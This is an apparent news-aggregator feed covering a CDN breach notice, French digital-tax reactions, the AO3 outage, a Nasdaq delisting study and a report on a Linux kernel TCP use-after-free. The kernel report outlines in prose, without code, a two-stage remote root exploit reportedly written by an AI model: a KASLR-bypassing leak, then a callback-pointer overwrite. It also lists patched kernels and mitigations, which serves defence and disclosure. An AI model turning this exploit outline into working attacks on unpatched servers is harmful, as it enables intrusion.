Robbins has studied “theft culture” around the world. In China, pickpockets use chopsticks, and bystanders tend not to interfere. In Japan, subway riders cram together but spread out once they’re off the train. Technology is a mixed bag: people are distracted by their phones, making themselves easier marks, but increased surveillance means that pickpockets have to fool the cameras as well as their victims.

Bunny CDN Security Incident

Hacker News
status.bunny.net
2026-10-30 15:05:22
Comments...
Original Article

We're reaching out to inform you of a security incident involving one of our infrastructure providers, the steps we've taken, and what this means for you.

- What happened and how we responded

Last week, one of our infrastructure providers reported unauthorized access involving third-party server management software. One of our CDN nodes, located in Armenia, was hosted on a server supplied by this provider.

After receiving the alert from the affected provider, our engineering team took immediate action. Within 20 minutes, we stopped routing traffic through the server. We then reviewed and preserved the relevant security logs for investigation, securely wiped the server, and revoked its access to our other systems. The affected server has been permanently removed from our infrastructure.

Our investigation found no evidence of unauthorized access to the CDN node or any of its data. The infrastructure provider has also found no evidence that our server was accessed, but continues to investigate the incident.

- What this means for your data

While neither investigation has found any indication of unauthorized access to our server, we cannot completely rule out the possibility.

If unauthorized access to our CDN node did occur, the potentially exposed information would have been: temporarily cached CDN content, Pull Zone configurations, and TLS certificates stored on that server.

As an additional precaution, we have revoked and reissued all TLS certificates for bunny.net platform domains (b-cdn.net and bunny.run). Reissuance of managed TLS certificates for custom domains is ongoing and is expected to be completed within the next 24 hours. No action is required from customers using managed certificates. We will post a further update on our status page once this process is complete.

If you manage your own TLS certificates, we recommend revoking and reissuing them with new private keys as a precaution.

No other customer data, including bunny.net account data, was stored on the server in question, and no internal systems were affected.

- What happens next

We’re closely monitoring our infrastructure and working with the affected provider as the investigation continues. Should any new findings affect our customers, we will provide an update via email and on our status page.

At bunny.net, we understand the trust you place in us to keep your content secure, and we take that responsibility seriously. If you have any questions or need help with managing your TLS certificates, our support team will be happy to assist.

Posted Oct 28 , 2026 - 11:40 UTC

French digital tax may kill VideoLan non-profit

Hacker News
twitter.com
2026-10-30 15:01:14
Comments...
Original Article

Post

Post

VideoLAN on X: "So, the French socialists, and Parliament members just voted a tax, that they don’t understand, which would cost VideoLAN more than 1 million euro per year. They are probably the most clueless politician on Earth? And they claim they want technological sovereignty… @LaurentLhardit"

So, the French socialists, and Parliament members just voted a tax, that they don’t understand, which would cost VideoLAN more than 1 million euro per year. They are probably the most clueless politician on Earth? And they claim they want technological sovereignty… @LaurentLhardit

#PJL2027 Adopté par l'Assemblée nationale : la "taxe assise sur les flux de données numériques émises par les fournisseurs de contenu et acquittée par ces derniers" Selon les députés PS, "au taux de 0,055 € par giga, un rendement de 10Md€ est attendu". assemblee-nationale.fr/dyn/17/amendem…

‘Wake Up Call:’ Fanfiction Writers and Readers React to AO3 Outage

403 Media
www.404media.co
2026-10-30 14:51:02
Writer and readers share what they're feeling and doing in the aftermath of the AO3 outage. It's anything but Wattpad....
Original Article

In the wake of fanfiction repository Archive of Our Own (AO3) announcing a weeks-long security incident outage, readers and writers are reflecting on why the site is important to the fanfiction community, and how they’re coping with the downtime.

On Thursday , the Organization for Transformative Works (OTW), the non-profit organization that runs AO3, posted that the site was down for maintenance, eventually updating to say the site restoration will take around two weeks, but could take up to a month. OTW confirmed in an updated status report Friday morning that this outage is due to a security incident.

Some have speculated that the outage is a result of the PHP scramble this week that led to several sites going down to update their security, but AO3 doesn’t use PHP. An OTW representative told CNET : “I can let you know that this is not related to the PHP security issue as the Archive uses Ruby on Rails.”

Massive Fanfic Site Archive of Our Own Says It’s Going Down for 'Up to 4 Weeks'

Oh my god?

404 Media Samantha Cole

A lot of people are grieving the loss of Kinktober, AO3’s annual group writing exercise where writers upload a chapter or fic every day throughout October based on a prompt of the day. (The prompts are horny, if that’s not clear.) Several of the writers and readers who reached out to me following the outage brought up the poor timing around Kinktober.

One writer I spoke to who posts her writing and reads others’ writing on AO3, told me that she was in the middle of racing to finish a work that was deliberately timed to Kinktober and Halloween when the outage happened. She was hitting “next chapter” while reading a fic on Wednesday night when she got the message that the site was down for maintenance, “which I initially took as a sign from the universe to go to bed,” she said.

“The outage hasn’t derailed my desire to write. If anything, I want to have more chapters ready to go so my readers can eat good once it’s over,” she said.

💡

Do you know anything else about what happened to Ao3? I would love to hear from you. Using a non-work device, you can message me securely on Signal at sam.404. Otherwise, send me an email at sam@404media.co.

Some writers are considering posting elsewhere while they wait for AO3 to return, but it’s not an ideal workaround. AO3 author who goes by Selkie Myth told me they’re moving to Space Battles, another fanfiction site, during the outage. “I'm shrugging and just posting on SB [Space Battles] while the site's down. Hopefully I'll remember to post the chapters over on AO3 once it's back up — the story is projected to end during the outage. I anticipate the same is true for a lot of other authors,” they said.

Some people have said they’ll try fanfiction.net in the meantime, but it’s a much more bare-bones website. Fanfiction site Sufficient Velocity added a banner to its homepage welcoming AO3 refugees: “We’ve had a big influx of guests due to the AO3 outage. If you've been affected by the outage we're sorry to hear that and hope that they're able to get that fixed soon.” Wattpad, which many fanfiction writers and readers really, really hate for reasons I won’t get into here, posted on X: “we're here to support you during this difficult time.” Overwhelmingly, the replies are from people telling Wattpad to go away.

Another AO3 writer who goes by Ren told me she has two long works in progress right now with nowhere to post them. Posting elsewhere poses continuity and discovery problems, as some of these fanfiction works span chapters and hundreds of thousands of words of character and worldbuilding. “I could technically keep posting updates on sites like tumblr through the downtime, but both of these fics are quite long and I haven't been posting them anywhere other than AO3 — if I drop a new chapter for my 130k Pokemon Black and White fanfic on Tumblr completely out of context, people just now finding my work aren't going to be able to read the rest for a while :(“ she told me in an email. “I have seen other authors posting their gdocs and Ellipsus reader links in the meantime, but my draft files aren't exactly presentable... I will keep marinating but what will probably happen is my wips [works in progress] will just be on hiatus for a bit. My readers are used to hiatuses at least.”

Another writer said she’s not considering posting elsewhere. “Wattpad can piss off,” she said. “But I may go back to fanfiction.net to save and physically print some of my favorite fics from way back in the day (the ancient/sacred texts, if you will) to ensure I have copies of those somewhere. This outage is a good reminder that things can vanish in the blink of an eye, whether a website crashes or is hacked or an author decides to suddenly delete their fic. If you love something, smash the kudos button, comment on it, bookmark it, subscribe, and consider downloading it. You never know.”

A reader who emailed me following the outage said they’ve been enjoying getting into AO3 as a new fan. “I was a big fanfic skeptic, but that’s changed lately. I’ve found some truly excellent writers, and real creativity. The free nature of it in this increasingly horrifying stage of capitalism is refreshing,” they said.

AO3 has said in status updates and to journalists that they don’t expect any data loss. Losing works would be devastating for writers and readers, but AO3 is more than just a repository for writing; it’s a community of people commenting and reacting to those stories. Selkie mentioned the rigorous tagging habits of AO3 members, where stories are tagged with sometimes dozens of fanfiction tropes, character names, content hints and warnings, and can constitute a language specific to the platform and its readers; “Crack Treated Seriously,” for example, means writing a silly premise with a straight face, while “Idiots in Love” is self explanatory.

“To me, the more devastating thing would be to lose the comments and kudos on my fic. Technically I have them saved elsewhere because I get AO3 email alerts, but seeing them threaded in one place at the end of a chapter hits different,” a writer said. “Comments can turn an author’s entire day around and restore their will to live. I often reread them if I have writer’s block or a bad bout of imposter syndrome. They also turn the otherwise solitary act of writing into something communal. Seeing someone experience your story chapter by chapter is incredibly motivating and makes the writing process feel less isolating.”

OTW is entirely volunteer-run, and people on social media and in speaking to them directly have said they hope AO3 users go easy on staff during this time. “So many people rely on AO3 as an outlet for creativity and escapism as the real world burns, myself included. It’s also important to remember that the site is run by volunteers,” that writer said. “The work they do to protect writers, fight censorship and safeguard freedom of expression is extremely important and necessary, especially right now. They deserve all the respect and patience in the world as they work to get the archive back up and running. Be kind.”

Ren, echoing those sentiments, sent me a meme:

Bugs bunny meme that says "I wish all ao3 volunteers a very pleasant goodluck to whatever the hell is happening"

“An additional sentiment I've seen is ‘ok so when AO3 comes back we're all going to tell our favorite authors how much we missed their work, right?’ which I hope catches on — I'm writing for niche fandoms and had to disable guest comments due to bot spam, so comments are few and far between as it is,” Ren said. “I do kind of hope that the extended outage serves as a sort of wake-up call to anyone who's been taking ao3 for granted lately. It certainly was for me.”

About the author

Sam Cole is writing from the far reaches of the internet, about sexuality, the adult industry, online culture, and AI. She's the author of How Sex Changed the Internet and the Internet Changed Sex.

Samantha Cole

What happened to 145 Nasdaq companies after the $1 warning letter

Hacker News
equibles.com
2026-10-30 14:50:25
Comments...
Original Article

On May 28, 2025, Nasdaq told Opendoor (OPEN $1.90 -0.52% ) that its shares had closed below $1.00 for 30 business days in a row. The company did what most companies in that position do: it called a special meeting to ask shareholders for permission to do a reverse split. Then the stock ran. Opendoor closed at $1.00 or more on 12 straight trading days from July 15 to July 30, Nasdaq closed the matter, and the board cancelled the meeting.

Opendoor is the story everyone remembers, but it isn't the typical one. We followed every Nasdaq company that disclosed its first minimum bid price notice in the first half of 2025, 145 of them, to October 26, 2026. Most are still listed. Most did a reverse split to get there. And for most of the people who held the stock on the day the letter was disclosed, the shares are worth less now.

The short answer

  • 108 of the 145 companies (74.5%) are still listed on a US exchange 16 to 22 months after the letter. 78 trade at $1 or more, and 30 are back under $1.
  • 37 are gone: 19 were delisted, suspended or deregistered, 11 were acquired, and 7 went bankrupt.
  • 85 (58.6%) did a reverse split , typically 1-for-20, and the median company did it 258 days after disclosing the letter, well into the second 180-day period. 14 did more than one.
  • 59 of 126 (46.8%) got back above $1 on their own for ten straight closes before any reverse split, 46 of them within the first 180 days. 24 of those 59 later started the process over with a new letter.
  • The price on the day of the letter mattered most. Under $0.50, 4 of 23 recovered without a split and 8 were delisted or bankrupt by October 2026. At $0.80 or more, 18 of 30 recovered and 2 were gone.
  • A split didn't always end the problem. At least 13 of the 85 companies that split fell back below $1 long enough to start the process again.
  • For shareholders, the typical outcome was a loss. Among companies still listed, the median stock was down 47.3% from the close on the day the letter was disclosed, against a 32.4% gain for the S&P 500 over the same windows. Companies that did a reverse split were down a median 83.0%.

How the $1 rule works

Nasdaq requires a listed stock to close with a bid of at least $1.00. When the closing bid has been below that for 30 consecutive business days, Nasdaq sends a deficiency letter, and the company has four business days to disclose it, usually in an 8-K under Item 3.01. The letter starts a compliance period of 180 calendar days. To regain compliance, the stock must close at $1.00 or more for at least 10 consecutive business days, and Nasdaq's staff can ask for up to 20.

A company that hasn't recovered after 180 days can get a second 180 days if it meets the other initial listing standards for the Nasdaq Capital Market, moving there if necessary, and tells Nasdaq it will cure the deficiency with a reverse split if needed. After that comes a delisting determination, which the company can appeal to a Hearings Panel.

Two changes approved by the SEC on January 17, 2025, made the end of that road shorter, and the companies in this study went through the process under them:

  • No stay during the appeal. A company that used both 180-day periods and still failed is suspended from Nasdaq while its appeal is heard, so its shares trade over the counter in the meantime. The panel can still grant up to 180 more days.
  • No compliance period after a recent split. A company that falls below $1 within a year of a reverse split gets no compliance period at all and goes straight to a delisting determination. The same already applied to companies whose reverse splits over the prior two years add up to 250 to 1 or more.

A separate rule applies at the bottom: a stock that closes at $0.10 or less for ten consecutive trading days during a compliance period gets a delisting determination immediately.

Where the 145 companies stood in October 2026

Where the 145 companies stood on October 26, 2026

Three in four companies are still listed, which sounds better than it is. Of the 30 still listed but trading under $1, 20 are on their second trip through the process: since the first letter they have received a new one, or an extension or delisting decision that could only follow a new one. Blink Charging (BLNK $0.41 +0.83% ) is one: it got its first letter in May 2025, was back above $1 by September, received a new letter in January 2026, and in July was granted a second 180 days, until January 25, 2027, after telling Nasdaq it would do a reverse split if necessary. It closed at $0.38 on October 26.

The 19 delisted companies include Stardust Power, which did a 1-for-10 reverse split in September 2025, fell below $1 again, and then closed at $0.10 or less for ten trading days in October 2026. Nasdaq said it would suspend its shares on October 23, and under the January 2025 rule a hearing request doesn't stop a suspension.

Getting back above $1 without a split

Some companies don't need to do anything. Of the 126 companies with price history in our data, 59 (46.8%) closed at $1.00 or more on ten straight trading days before doing any reverse split. The median company got there 102 days after the letter, and 46 of the 59 did it inside the first 180 days. 44 of them never split at all.

Recovering didn't always last. 24 of the 59 later started the process over with a new letter, and 22 are back under $1 today.

The best predictor of a recovery was the price when the letter arrived. A stock at $0.85 needs an 18% rise to clear $1; a stock at $0.30 needs to more than triple.

Outcomes by share price on the day the letter was disclosed
Price when the letter was disclosed Companies Back above $1 before any split Did a reverse split Delisted or bankrupt
Under $0.50 23 4 17 8
$0.50 to $0.79 73 37 43 8
$0.80 or more 30 18 18 2

The median stock closed at $0.68 on the day its letter was disclosed.

The reverse split

85 of the 145 companies (58.6%) did at least one reverse split after the letter. Most waited. Only 31 split within the first 180 days; 45 split between day 181 and day 360, which is when the second compliance period runs and when Nasdaq expects the split it was promised.

When the first reverse split came, days after the letter was disclosed
Ratio of the first reverse split Companies
Less than 1-for-10 11
1-for-10 to 1-for-19 27
1-for-20 to 1-for-49 37
1-for-50 or more 10

The median first split was 1-for-20. The ratio is usually chosen with room to spare, because a split that lands the stock at $1.10 can be undone by a few bad weeks.

Some companies split again and again. 14 did more than one reverse split after the letter and 3 did at least three. Vivakor did a 1-for-200 split in March 2026, a 1-for-20 in July and a 1-for-15 in October, so 60,000 shares from before March are now one. Its stock closed at $1.32 on October 26, on a split-adjusted basis a tiny fraction of the $0.88 it traded at when its letter was disclosed in March 2025.

A split also doesn't fix whatever pushed the stock under $1. At least 13 of the 85 companies that split fell back below $1 long enough to start the process again. Under the January 2025 rule, a company that falls under $1 again within a year of its split gets no new compliance period, only a delisting determination.

The split worked best when something else changed too. Nektar Therapeutics (NKTR $39.18 +1.63% ) got its letter in April 2025 at $0.55, did a 1-for-15 split in June, and closed at $37.45 on October 26, 2026, equivalent to about $2.50 per share from before the split.

What happened to the shares

For anyone who held the stock, the more useful question is what the shares did. We measured the change from the close on the day each company disclosed its letter to its latest close in October 2026, adjusted for splits, for the 107 still-listed companies with a price on both dates.

Median change in the share price since the letter: still-listed companies against SPY
  • All still listed: median -47.3%. 36 of 107 are higher than on the day of the letter, 18 more than doubled, and 21 lost 90% or more.
  • Companies that did a reverse split: median -83.0%, and 9 of 64 are higher.
  • Companies that didn't: median +41.2%, and 27 of 43 are higher.

The gap between the last two isn't evidence that reverse splits destroy value. It's the other way around: the companies whose stock recovered on its own never needed a split, so the split marks the companies that didn't recover. What the numbers do show is that the typical stock kept falling after the letter. And these figures leave out the 37 companies no longer listed: the 18 delisted or bankrupt ones with prices in our data lost a median 97.7% by their last close.

Two problems at once

A bid-price letter often comes with company. 58 of the 145 companies also received a notice for another listing rule at some point in 2025 or 2026, most often minimum stockholders' equity (22 companies) or a late filing (16). 16 of those 58 (27.6%) were delisted or went bankrupt, against 10 of the 87 (11.5%) that only had the price problem.

Drug developers were the largest group: 61 of the 145 companies (42.1%) are classified by the SEC as pharmaceutical preparations or biological products. They were also the largest group in our study of going-concern warnings . Small drug developers usually pay for their trials by selling new shares, which keeps adding to the share count while they wait for results.

The letters themselves tend to arrive quietly. In our study of 8-K timing , 38.6% of listing deficiency notices went public on a Friday after 4 p.m.

How to check a company

  • Find the letter. The company's 8-K under Item 3.01 gives the date of the letter and the deadline. On Equibles, a company's filings page lists its 8-Ks with their item numbers, for example Blink Charging's .
  • Read the second notice closely. A grant of a second 180-day period means the company has told Nasdaq it will do a reverse split if it needs to.
  • Look for a split proposal. A proxy statement asking shareholders to approve a reverse split, often with a wide range of ratios, is the usual next step. Opendoor's was filed in June 2025.
  • Check the last split. A company that did a reverse split in the past year, or splits adding up to 250 to 1 or more over two years, gets no compliance period if it falls below $1 again.
  • Look for a second deficiency. A notice for stockholders' equity or market value on top of the bid price is the combination that most often ended in delisting.

How we built this

  • Notices: every 8-K with Item 3.01 filed from January 2025 to October 2026, found through EDGAR full-text search (2,721 filings), read and sorted by the listing rule each one cites and by type: deficiency, delisting step, regained compliance or transfer.
  • The 145 companies: Nasdaq-listed companies whose first bid-price 8-K in that period was filed between January 1 and June 30, 2025, with no bid-price Item 3.01 8-K since June 1, 2024. We read every notice and removed 11 that weren't a first letter: extensions, hearing panel decisions, a bankruptcy notice, and 4 companies that got no compliance period at all because of earlier reverse splits.
  • Status on October 26, 2026: listed if the SEC's company ticker file places the company on Nasdaq, the NYSE or NYSE American, except Stardust Power, which Nasdaq said it would suspend on October 23 while the file still showed it on Nasdaq. Bankruptcy means an 8-K under Item 1.03 and no listing; acquired means a completed merger (Item 2.01 with Item 5.01 or 3.03, or a completed tender offer). A merger whose completion 8-K came within ten days after Nasdaq's Form 25 counts as acquired, since Nasdaq files the form at closing. Everything else that left an exchange counts as delisted, suspended or deregistered.
  • A second trip: a later notice counts as a new start if it is a new 30-day letter, or a second-period grant or delisting decision dated too late to belong to the first letter.
  • Reverse splits: our split records, plus splits reported in the companies' own 8-Ks (Items 5.03, 3.03 and 5.07) that our records lacked, five in all. We checked the ratios we name against the companies' filings.
  • Back above $1: ten consecutive closes at $1.00 or more on the price as it actually traded, using daily closes for the 126 companies with price history in our data.
  • Share price change: from the close on the day the 8-K was filed to the latest close between October 20 and 26, 2026, on a split-adjusted basis, against SPY over the same dates.
  • Another listing rule: any Item 3.01 8-K in 2025 or 2026 citing stockholders' equity, market value, a late filing, the annual meeting, or board and audit committee requirements.
  • Industry: the SEC industry codes 2834 (pharmaceutical preparations) and 2836 (biological products).

Limitations

  • Nasdaq measures the closing bid; we used closing prices, and the staff can require up to 20 days rather than 10. A few of the recoveries we count may not have satisfied Nasdaq.
  • 19 companies have no price history in our data, 18 of them now acquired, bankrupt or delisted. The recovery figures therefore lean toward companies that survived.
  • The share price figures cover only companies still listed. Including the delisted and bankrupt ones would make them worse.
  • The comparison between companies that split and those that didn't is a comparison of different kinds of company, not the effect of the split.
  • The study covers first letters only. Companies already on a second or third trip through the process in early 2025 aren't in it, and they are likely to do worse.
  • The follow-up runs 16 to 22 months, so some of the 30 companies still listed under $1 haven't reached the end of the process.

Conclusion

A Nasdaq bid-price letter is not a death sentence: three in four companies that got one in early 2025 were still listed in October 2026, and nearly half got back above $1 at least once without a reverse split. But the way most of them stayed listed was a reverse split, usually at the last moment, and for shareholders the letter was more often a warning than a bottom. The price on the day of the letter is the first number to look at. Under 50 cents, only 4 of 23 companies recovered on their own and a third were gone by October 2026.

Sources

  • Nasdaq Listing Rules 5550(a)(2) and 5450(a)(1) (minimum bid price), 5810(c)(3)(A) (compliance periods) and 5815 (hearings).
  • SEC Release No. 34-102245, order approving File No. SR-NASDAQ-2024-045, January 17, 2025.
  • Opendoor Technologies: 8-K filed May 30, 2025 (0001801169-25-000042); proxy supplement filed July 28, 2025 (0001140361-25-027584); 8-K filed August 1, 2025 (0001801169-25-000069).
  • Blink Charging: 8-Ks filed May 13, 2025 (0001641172-25-009987), September 11, 2025 (0001641172-25-027095), January 30, 2026 (0001493152-26-004537) and July 28, 2026 (0001493152-26-034964).
  • Nektar Therapeutics: 8-Ks filed April 4, 2025 (0001213900-25-029002) and June 6, 2025 (0001213900-25-052141).
  • Vivakor: 8-Ks filed March 27, 2026 (0001829126-26-002808), July 16, 2026 (0001829126-26-007621) and October 6, 2026 (0001829126-26-010815).
  • Stardust Power: 8-Ks filed March 24, 2025 (0001641172-25-000327) and October 19, 2026 (0001493152-26-047607).
  • EDGAR full-text search, the SEC submissions API and the SEC company ticker and exchange file (company_tickers_exchange.json).

This study describes public filings and market prices. It is not investment advice.

French national assembly votes 0.055€/GB internet tax

Hacker News
www.lesnumeriques.com
2026-10-30 14:31:56
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Netflix, Steam, cloud : vos abonnements et téléchargements bientôt plus chers à cause d'une nouvelle taxe ?

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Malgré l’avis défavorable du gouvernement et du rapporteur général, les députés ont adopté un amendement socialiste créant une taxe au gigaoctet sur les fournisseurs de contenus en ligne. Une mesure aux répercussions potentielles étendues.

Netflix, Steam, cloud : vos abonnements et téléchargements bientôt plus chers à cause d'une nouvelle taxe ?

© Assemblée Nationale - L'amendement n°I-1358 a été adopté à 11 voix contre 10.

Le vote s'est joué à une voix près dans l'hémicycle : 11 voix contre 10. L'amendement n° I-1358 au projet de loi de finances , déposé par le groupe Socialistes et apparentés, entend instituer une contribution assise sur les volumes de données acheminés vers les utilisateurs français. Fixée à 0,055 euro par gigaoctet, cette fiscalité vise à générer jusqu'à 10 milliards d'euros de recettes en ciblant l'activité réelle des acteurs du numérique.

Un prélèvement au volume mesuré par les opérateurs télécoms

Le fonctionnement du dispositif confie aux fournisseurs d'accès à internet (FAI) la responsabilité de relever chaque trimestre les volumes émis par chaque acteur, sous le contrôle conjoint de l'Arcep et de la Direction générale des finances publiques. Le texte inclut également les réseaux de diffusion de contenu (CDN) afin de mesurer les flux issus des serveurs relais situés au plus près de l'utilisateur.

Pour éviter d'asphyxier les services à forte consommation de bande passante mais aux marges plus mesurées, un plafonnement a été intégré. Le montant réclamé ne pourra excéder 15 % du chiffre d'affaires réalisé en France, ou 2 % du chiffre d'affaires mondial. En complément de l'objectif budgétaire, les auteurs mettent en avant une dimension écologique, estimant que ce coût incitera les éditeurs à optimiser et compresser leurs flux.

De la vidéo aux jeux dématérialisés : les services dans le viseur

Si l'amendement précise que l'impôt est acquitté par les fournisseurs de contenus et non par les internautes, la liste des plateformes et services techniques susceptibles d'entrer dans le champ d'application couvre une part considérable des usages numériques quotidiens :

  • Streaming vidéo et direct : Les plateformes comme Netflix, YouTube, Disney+, Prime Video, Twitch ou TikTok représentent l'essentiel du trafic descendant, aux côtés des plateformes de télévision et replay (TF1+, France.tv, MyCanal).
  • Jeux vidéo et divertissement interactif : Les boutiques en ligne telles que Steam (Valve), l'Epic Games Store, le PlayStation Network ou le Xbox Network manipulent des fichiers d'installation et des mises à jour pesant fréquemment entre 50 et 150 gigaoctets.
  • Intelligence artificielle et dépôts de code : Les services d'hébergement de modèles et jeux de données comme Hugging Face ou GitHub génèrent des transferts de plusieurs dizaines de gigaoctets par fichier, souvent distribués gratuitement.
  • Services de cloud et synchronisation : Les espaces de stockage et de sauvegarde tels que Google Drive, OneDrive, iCloud ou Dropbox, ainsi que les infrastructures d'hébergement (AWS, Azure, Google Cloud).
  • Réseaux sociaux et communication : Les applications comme Instagram, X, Discord ou les outils de visioconférence (Teams, Zoom).
  • Réseaux de diffusion de contenu (CDN) : Les prestataires d'infrastructure comme Cloudflare, Akamai ou Fastly, expressément visés pour leurs points de livraison de données.
  • Mises à jour de systèmes : La distribution des correctifs pour Windows, macOS, iOS ou les distributions Linux.

Des répercussions prévisibles pour les utilisateurs

Bien que les consommateurs ne soient pas directement taxés, les entreprises soumises à ce prélèvement pourraient adapter leur modèle économique. Pour compenser la charge financière ou éviter d'atteindre le plafond légal, certains acteurs pourraient répercuter le coût sur les prix des abonnements, restreindre la bande passante vers les connexions situées en France ou instaurer des limitations sur les téléchargements de fichiers très volumineux.

Adopté de justesse en séance publique à l'Assemblée, le texte doit encore poursuivre son parcours législatif. Il sera soumis à l'examen du Sénat et devra surmonter les réserves exprimées par l'exécutif avant une éventuelle intégration définitive dans la loi de finances.

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hellgate
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Linux Kernel TCP Flaw With 9.8 CVSS Score Affects Ubuntu, Red Hat and Other Distributions

Lobsters
thehackernews.com
2026-10-30 14:20:43
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Original Article

A flaw in the Linux kernel's TCP code, tracked as CVE-2026-98432 , affects Ubuntu, Red Hat Enterprise Linux (RHEL), and other Linux distributions. The kernel's own CVE team rates it 9.8 out of 10 on the CVSS scale.

Anthropic said on October 27 that its AI model wrote an exploit that uses the flaw to let a remote attacker with no credentials run commands as root on Linux servers with a multipath TCP listener.

As of October 29, Ubuntu and RHEL have not released a fixed kernel. Red Hat, Amazon, Oracle, and SUSE score the flaw between 5.9 and 8.1, lower than the kernel team's 9.8.

The flaw is a race condition in the code that sets up new IPv4 TCP connections. It can make the kernel read memory it has already freed, a bug type known as a use-after-free.

The kernel fix credits Anthropic researcher Xinyang Ge with reporting the bug. Neither the CVE record nor the fix mentions multipath TCP (MPTCP). The link between that feature and this bug comes from Anthropic's post.

MPTCP lets one connection use several network paths at once. On Linux, an application must request MPTCP when it opens a socket. As of Go 1.24, Go programs do so by default for the sockets they listen on, the Go Security Team said on October 29.

Anthropic's post says the flaw "was patched upstream and backported to all maintained stable kernel branches." For distribution users, that fix arrives only in the vendor's kernel package. Debian, Oracle Linux, SUSE, and Amazon Linux have shipped fixed packages, at least for some of their kernels, but Ubuntu and RHEL have not.

Which Distributions Have a Fix

Distribution Vendor rating Status as of October 29 Fixed package or advisory
Ubuntu 22.04 LTS, 24.04 LTS, 26.04 LTS and 26.10 Priority High Work in progress None released
Ubuntu 16.04, 18.04 and 20.04 Priority High Vulnerable None released
RHEL 8, 9 and 10 , OpenShift 4 Moderate, 5.9 (CVE page)
Important, 8.1 ( advisory file )
Affected None released
RHEL 7 Not applicable Not affected Not needed
Amazon Linux 2023 , kernel6.18 package Important, 7.0 Fixed October 24 kernel6.18-6.18.56-125.164.amzn2023 ( ALAS2023-2026-3251 )
Amazon Linux 2023, kernel6.12 package Important, 7.0 Fixed October 29 in Amazon's advisory; Amazon's CVE page still says pending kernel6.12-6.12.113-138.209.amzn2023 ( ALAS2023-2026-3335 )
Amazon Linux 2
Amazon Linux 2023, kernel package
Important, 7.0 Pending fix None released
Oracle Linux 7, 8, 9 and 10 , UEK kernel Important, 8.1 Fixed October 16 ELSA-2026-500397, ELSA-2026-500398, ELSA-2026-500399
Debian trixie (stable) No score listed Fixed October 16 linux 6.12.113-1 ( DSA-6568-1 )
Debian 12 (bookworm) No score listed Fixed October 17 and October 22 linux 6.1.190-1 ( DLA-4841-1 )
linux-6.12 6.12.113-1~deb12u1 ( DLA-4850-1 )
SUSE Linux Micro 6.2 , openSUSE Leap 16.0 Important, 8.1 Fixed kernel-default 6.12.0-160000.40.1 or later
SLES 15 SP4 to SP6 LTSS, SLES 16.0, SLE Micro 5.3 to 5.5 Important, 8.1 In testing None released
SLES 15 SP7 Important, 8.1 Affected, fix in progress None released

Ubuntu also lists its cloud, FIPS, and real-time kernels as vulnerable or as work in progress. On October 29, Red Hat said its fixes were "currently deferred to a future update." By October 30, it listed RHEL 8, 9 and 10 and OpenShift 4 as Affected rather than Fix deferred. Neither Red Hat nor Ubuntu gives a release date.

How the Bug Works

The race happens during the TCP handshake. When a connection is completed, the kernel hands the IP options stored with the pending request to the new socket without copying them.

If that socket is destroyed while another CPU is still using the options to answer a resent connection request, the kernel reads freed memory.

IPv6 is not affected by this race because the kernel copies the options for IPv6 connections.

The bug was introduced in Linux 4.4. Kernel developers applied a fix on October 5, ten days before the CVE was published.

The fix makes the kernel wait until other CPUs finish reading the options before it frees them.

Why the Scores Differ

The kernel's CVE team added the 9.8 score to the CVE record on October 24, nine days after publishing the CVE.

Its score assumes an attacker who sends a TCP connection request carrying IPv4 Record Route or Timestamp options, then resends the request to try to win the race. The team rated attack complexity low, saying both sides of the race are "attacker-induced."

In that case, the team says, the bug could send nearby kernel memory back to the attacker, corrupt kernel memory, or crash the system.

As of October 28, the National Vulnerability Database (NVD) had not added its own score and showed the kernel team's 9.8. Ubuntu's page also shows that score.

Red Hat's CVE page rates the flaw Moderate, scoring it 5.9 because the race is hard to win. It says the most likely result is a kernel crash, with memory corruption possible in theory, and that "no confidentiality or integrity impact has been demonstrated."

Red Hat's machine-readable advisory file, updated on October 29, lists the impact as Important and scores the flaw 8.1, with high confidentiality and integrity impact. Red Hat's bug tracker changed the issue's severity from medium to high the same day. On that day, the CVE page showed Moderate and 5.9.

Oracle and SUSE also score the flaw 8.1, with the same CVSS vector as Red Hat's advisory file. Those scores match the kernel team's on every metric except attack complexity, which the vendors rate high and the kernel team rates low. Amazon scores it 7.0.

What Anthropic Says It Built

Anthropic described the Linux exploit in an October 27 post about flaws that its AI model, Claude, found and exploited. The Hacker News covered the post on October 28. Claude wrote the exploit after "initial prompting," Anthropic said.

The exploit works in two stages. First, the race makes the kernel send extra bytes back to the attacker. Once one of those replies contains a kernel address, the attacker can get around KASLR, the kernel's memory address randomization.

Second, the same bug overflows a buffer and overwrites a callback pointer with the address of a payload the attacker had already placed in kernel memory. When the kernel calls that pointer, the payload executes a shell command of the attacker's choice as root.

A lost race only fails that one connection attempt and does not crash the system, so an attacker can keep trying, the company said. In its test, leaking a kernel address took 48 minutes, and reaching command execution took 5 more minutes.

The post does not include the exploit code, the kernel version, or the configuration Anthropic tested.

Red Hat says a remote attacker who can reach an exposed TCP service could trigger the race. Anthropic's root exploit, however, targeted servers with a multipath TCP listener. The post does not say whether servers without one can be taken over the same way.

As of October 29, none of the vendor advisories, the CVE record, or Anthropic's post reports attacks using the flaw. It does not appear in a copy of CISA's Known Exploited Vulnerabilities catalog that Luxembourg's CIRCL last updated on October 28.

What to Do Now

Where your distribution has released a fixed kernel, install it. The table above lists the packages and advisories for Debian, Oracle Linux, SUSE and Amazon Linux.

If you build your own kernel, the fix is in Linux 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, 6.18.56, 7.2.10 and 7.3. The kernel's CVE team recommends updating to the latest stable kernel. It says the kernel community does not support cherry-picking individual fixes.

Ubuntu, RHEL and some Amazon Linux and SUSE releases have no fixed kernel to install yet. Red Hat says no available mitigation meets its standards for being easy to deploy, suitable for most installations and stable. None of the other distributions' advisories lists one.

The distributions' advisories and Anthropic's post do not say whether turning off multipath TCP in the kernel, or blocking incoming connection requests that carry IP options, would lower the risk.

For Go programs, the Go Security Team says setting GODEBUG=multipathtcp=0 in a program's environment disables MPTCP by default at runtime. Adding godebug multipathtcp=0 to the main module's go.mod file does the same at build time, but code that calls SetMultipathTCP overrides both.

The team calls turning off MPTCP program by program a fragile mitigation. A single MPTCP listener left exposed still leaves a system vulnerable, and the approach assumes every working exploit depends on MPTCP.

The team also says the underlying bug is not specific to MPTCP, that systems with no MPTCP listeners may be vulnerable to similar attacks, and that the best fix is to upgrade to a patched kernel.

(The story was updated on October 30 to add the Go Security Team's guidance for Go programs and to reflect that Red Hat now lists RHEL 8, 9 and 10 and OpenShift 4 as Affected rather than Fix deferred.)

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Matthew Garrett: Getting Google Cast on my Soundbar

PlanetDebian
